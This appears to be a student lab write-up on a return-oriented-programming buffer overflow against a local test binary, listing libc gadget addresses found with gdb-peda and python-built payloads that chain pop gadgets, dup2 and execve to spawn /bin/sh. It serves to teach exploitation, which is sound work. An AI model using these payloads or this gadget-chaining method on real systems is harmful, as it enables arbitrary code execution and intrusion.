Practic 1.

First step is to disable the randomization of the memory allocated to a process. This way we can find the needed addresses offline and afterwards build the command to exploit the buffer overflow vulnerability. We are starting to search the addresses with the “pop rdi;ret” instruction in the libc library. As seen below, we can use the address (0x00007ffff7de3b72).

```
gdb-peda$ asmsearch "pop rdi;ret" libc
Searching for ASM code: 'pop rdi;ret' in: libc ranges
0x00007ffff7de3b72 : (5fc3)   pop   rdi;    ret
0x00007ffff7de48d5 : (5fc3)   pop   rdi;    ret
0x00007ffff7de5203 : (5fc3)   pop   rdi;    ret
0x00007ffff7de527e : (5fc3)   pop   rdi;    ret
0x00007ffff7de5292 : (5fc3)   pop   rdi;    ret
0x00007ffff7de6249 : (5fc3)   pop   rdi;    ret
0x00007ffff7de6a90 : (5fc3)   pop   rdi;    ret
0x00007ffff7de79c4 : (5fc3)   pop   rdi;    ret
0x00007ffff7de7fe4 : (5fc3)   pop   rdi;    ret
0x00007ffff7de8762 : (5fc3)   pop   rdi;    ret
0x00007ffff7de8d72 : (5fc3)   pop   rdi;    ret
0x00007ffff7de95f0 : (5fc3)   pop   rdi;    ret
0x00007ffff7de9b02 : (5fc3)   pop   rdi;    ret
0x00007ffff7dea805 : (5fc3)   pop   rdi;    ret
0x00007ffff7deb78b : (5fc3)   pop   rdi;    ret
0x00007ffff7dec71f : (5fc3)   pop   rdi;    ret
0x00007ffff7ded0fe : (5fc3)   pop   rdi;    ret
0x00007ffff7dede86 : (5fc3)   pop   rdi;    ret
0x00007ffff7dee85e : (5fc3)   pop   rdi;    ret
0x00007ffff7def4dc : (5fc3)   pop   rdi;    ret
0x00007ffff7def869 : (5fc3)   pop   rdi;    ret
0x00007ffff7def88a : (5fc3)   pop   rdi;    ret
0x00007ffff7defd6c : (5fc3)   pop   rdi;    ret
0x00007ffff7df05aa : (5fc3)   pop   rdi;    ret
0x00007ffff7df07da : (5fc3)   pop   rdi;    ret
```

In the end we check the content of the stack, after allocating the buffer from the func. With bold are marked the current rbp and the return address. We also want to retain the rbp address (`0x00007fffffffddc0`) since we want to leave this address untouched. The value of the return address is not of interest for this attack, only its location is important.

```
gdb-peda$ x/30x $rsp
```

```
0x7fffffffdd40: 0x0000004000000000    0x0000040000000200
0x7fffffffdd50: 0x0000000000000000    0x0000000000000000
0x7fffffffdd60: 0x0000000000000000    0x0000000000000000
0x7fffffffdd70: 0x0000000000000000    0x0000000000000000
0x7fffffffdd80: 0x0000000000000000    0x0000000000000000
0x7fffffffdd90: 0x0000000000400040    0x00000000000000f0
0x7fffffffdda0: 0x00000000000000c2    0x00007fffffffddd7
0x7fffffffddb0: 0x00007fffffffddd6    0x00000000004011dd
0x7fffffffddc0: 0x00007fffffffddc0    0x0000000000401180
0x7fffffffddd0: 0x00007fffffffdee8    0x0000000100401050
0x7fffffffdde0: 0x00007fffffffdee0    0x0000000b00000000
0x7fffffffddf0: 0x0000000000000000    0x00007ffff7de40b3
0x7fffffffde00: 0x00007ffff7ffc620    0x00007fffffffdee8
0x7fffffffde10: 0x0000000100000000    0x0000000000401156
0x7fffffffde20: 0x0000000000401190    0x2e506385e44e1343
```

Next, we can see below the addresses for the other commands required for this attack: “pop rsi;ret” (0x00007ffff7de4529) and “pop rdx; pop ?; ret” (0x00007ffff7ed9371).

```
gdb-peda$ asmsearch "pop rsi; ret" libc
Searching for ASM code: 'pop rsi; ret' in: libc ranges
0x00007ffff7de4529 : (5ec3) pop    rsi;     ret
0x00007ffff7de659f : (5ec3) pop    rsi;     ret
0x00007ffff7df11a9 : (5ec3) pop    rsi;     ret
0x00007ffff7e010de : (5ec3) pop    rsi;     ret
0x00007ffff7e1d53e : (5ec3) pop    rsi;     ret
0x00007ffff7e235d5 : (5ec3) pop    rsi;     ret
0x00007ffff7e2375c : (5ec3) pop    rsi;     ret
0x00007ffff7e3a15b : (5ec3) pop    rsi;     ret
0x00007ffff7e3a24f : (5ec3) pop    rsi;     ret
0x00007ffff7e3a2fb : (5ec3) pop    rsi;     ret
0x00007ffff7e4066a : (5ec3) pop    rsi;     ret
0x00007ffff7e42a56 : (5ec3) pop    rsi;     ret
0x00007ffff7e42a7d : (5ec3) pop    rsi;     ret
0x00007ffff7e446eb : (5ec3) pop    rsi;     ret
0x00007ffff7e449bb : (5ec3) pop    rsi;     ret
0x00007ffff7e44f19 : (5ec3) pop    rsi;     ret
0x00007ffff7e44fb0 : (5ec3) pop    rsi;     ret
```

```
0x00007ffff7e45360 : (5ec3) pop    rsi;     ret
0x00007ffff7e45412 : (5ec3) pop    rsi;     ret
0x00007ffff7e45b9b : (5ec3) pop    rsi;     ret
0x00007ffff7e45c7c : (5ec3) pop    rsi;     ret
0x00007ffff7e45cc2 : (5ec3) pop    rsi;     ret
0x00007ffff7e46bf7 : (5ec3) pop    rsi;     ret
0x00007ffff7e4b338 : (5ec3) pop    rsi;     ret
0x00007ffff7e4c20d : (5ec3) pop    rsi;     ret
gdb-peda$ asmsearch "pop rdx; pop ?; ret" libc
Searching for ASM code: 'pop rdx; pop ?; ret' in: libc
ranges
0x00007ffff7ed9371 : (5a415cc3)  pop    rdx;     pop
r12;  ret
0x00007ffff7eefc7f : (5a415cc3)  pop    rdx;     pop
r12;  ret
0x00007ffff7ef4c69 : (5a415cc3)  pop    rdx;     pop
r12;  ret
0x00007ffff7f1f866 : (5a5bc3)    pop    rdx;     pop
rbx;  ret
0x00007ffff7f1f8ae : (5a5bc3)    pop    rdx;     pop
rbx;  ret
0x00007ffff7f1f8ff : (5a5bc3)    pop    rdx;     pop
rbx;  ret
0x00007ffff7f1fd98 : (5a5bc3)    pop    rdx;     pop
rbx;  ret
```

The last information that we need to mount the attack are the address of the buffer from the function func (`0x7fffffffdd10`) and the address where we can find a call to execve function (0x7ffff7ea32f0).

```
gdb-peda$ p &buffer
$1 = (char (*)[128]) 0x7fffffffdd10
gdb-peda$ p execve
$2 = {<text variable, no debug info>} 0x7ffff7ea32f0
<execve>
```

So, we centralize all the collected information until now:

buffer	0x00007fffffffdd10

rbp	0x00007fffffffddc0
pop rdi;ret	0x00007ffff7de3b72
pop rsi; ret	0x00007ffff7de4529
pop rdx; pop ?; ret	0x00007ffff7ed9371
execve	0x00007ffff7ea32f0

Using all the information above we can first build the command for executing /bin/ls:

```
python -c 'print
("/bin/ls\x00"+"\x10\xdd\xff\xff\xff\x7f\x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x0
0"+104*"A"+"\xc0\xdd\xff\xff\xff\x7f\x00\x00"+"\x72\x3b\xde\xf7\xff\x7f\x00\x00"+"
\x10\xdd\xff\xff\xff\x7f\x00\x00"+"\x29\x45\xde\xf7\xff\x7f\x00\x00"+"\x18\xdd\xff\x
ff\xff\x7f\x00\x00"+"\x71\x93\xed\xf7\xff\x7f\x00\x00"+"\x00\x00\x00\x00\x00\x00\
x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x00"+"\xf0\x32\xea\xf7\xff\x7f\x00\x00")
' | ./rop
osds-lab-7.pdf peda-session-rop.txt  rop  rop.c
```

Similar to /bin/ls, we can use the /bin/sh name in the above command:

```
python -c 'print
("/bin/sh\x00"+"\x10\xdd\xff\xff\xff\x7f\x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x
00"+104*"A"+"\xc0\xdd\xff\xff\xff\x7f\x00\x00"+"\x72\x3b\xde\xf7\xff\x7f\x00\x00"
+"\x10\xdd\xff\xff\xff\x7f\x00\x00"+"\x29\x45\xde\xf7\xff\x7f\x00\x00"+"\x18\xdd\xf
f\xff\xff\x7f\x00\x00"+"\x71\x93\xed\xf7\xff\x7f\x00\x00"+"\x00\x00\x00\x00\x00\x0
0\x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x00"+"\xf0\x32\xea\xf7\xff\x7f\x00\x0
0")' | ./rop
```

The command above stopped, instead of starting a shell.

Practic 2.

For solving this part we need only one extra information, and that is the location of dup2 function (0x7ffff7ecea30), which we've obtained below:

```
gdb-peda$ p dup2
$1 = {<text variable, no debug info>} 0x7ffff7ecea30 <dup2>
```

Below I put the command used for this part. It can be seen that the shell now works and allows writing commands. I marked with bold the sequence that I've added compared to the previous exercise. The sequence is formed from the following instructions ("pop rdi; ret", 1, "pop rsi; ret", 0, address of dup2).

```
python -c 'print ("/bin/sh\x00"+"\x10\xdd\xff\xff\xff\x7f\x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x00"+104*"A"+"\xc0\xdd\xff\xff\xff\x7f\x00\x00"+"\x72\x3b\xde\xf7\xff\x7f\x00\x00"+"\x01\x00\x00\x00\x00\x00\x00\x00"+"\x29\x45\xde\xf7\xff\x7f\x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x00"+"\x30\xea\xec\xf7\xff\x7f\x00\x00"+"\x72\x3b\xde\xf7\xff\x7f\x00\x00"+"\x10\xdd\xff\xff\xff\x7f\x00\x00"+"\x29\x45\xde\xf7\xff\x7f\x00\x00"+"\x18\xdd\xff\xff\xff\x7f\x00\x00"+"\x71\x93\xed\xf7\xff\x7f\x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x00"+"\x00\x00\x00\x00\x00\x00\x00\x00"+"\xf0\x32\xea\xf7\xff\x7f\x00\x00")' | ./rop
```